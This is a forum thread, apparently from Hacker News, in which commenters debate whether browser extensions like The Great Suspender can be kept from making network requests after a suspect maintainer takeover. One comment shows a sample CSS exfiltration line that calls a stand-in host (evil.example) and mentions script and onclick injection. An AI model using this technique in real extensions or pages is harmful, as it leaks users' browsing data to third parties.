News for hackers. Stuff that matters.
Re:The Great Suspender: New maintainer is probably malicious by Triv888 on Sunday January 03, 2021 @11:54AM (#25622911)
But you have all the code and you know which functions/methods/etc that can do requests so it should be trivial... either way, if it is not a solvable problem, there is a major problem in the design.
Re:The Great Suspender: New maintainer is probably malicious by gruez on Sunday January 03, 2021 @11:59AM (#25622961)
>But you have all the code and you know which functions/methods/etc that can do requests so it should be trivial

but you can't. See the last part of my comment: "they can inject arbitrary scripts into pages to make requests for them".

>either way, if it is not a solvable problem, there is a major problem in the design.

Not really. It's like complaining that debuggers can impersonate programs they attach themselves to.

Re:The Great Suspender: New maintainer is probably malicious by Triv888 on Sunday January 03, 2021 @12:19PM (#25623134)
> they can inject arbitrary scripts into pages to make requests for them

disallow that behavior?

You could also just pull that code but it might change based on request origin...

Re:The Great Suspender: New maintainer is probably malicious by fennecfoxen on Sunday January 03, 2021 @12:35PM (#25623275)
Lots of the best extensions are basically "change this webpage when it loads to make it work better." You can't "disallow this behavior" without crippling them.
Re:The Great Suspender: New maintainer is probably malicious by Triv888 on Sunday January 03, 2021 @01:24PM (#25623706)
It could do all the processing locally, easily... what are you talking about?
Re:The Great Suspender: New maintainer is probably malicious by gruez on Sunday January 03, 2021 @01:53PM (#25624007)
>It could do all the processing locally, easily...

That's irrelevant. If you can make changes to the page, you can exfiltrate data. The security model for addons isn't designed with restricting an addon's network activity in mind, see my other post: https://news.ycombinator.com/item?id=25623281

Re:The Great Suspender: New maintainer is probably malicious by gruez on Sunday January 03, 2021 @12:36PM (#25623281)
Depends on what your addons does. Most addons modify the page in some way. It's also not limited to injecting javascript. You can also exfiltrate data by injecting css (eg. doing something like background-image: url("http://evil.example/?payload=...")) or do javascript injection in alternate ways (eg. adding a <script> element, or adding an onclick attribute).
Re:The Great Suspender: New maintainer is probably malicious by shawnz on Sunday January 03, 2021 @12:42PM (#25623332)
That's one of the most fundamental functions a browser extension could have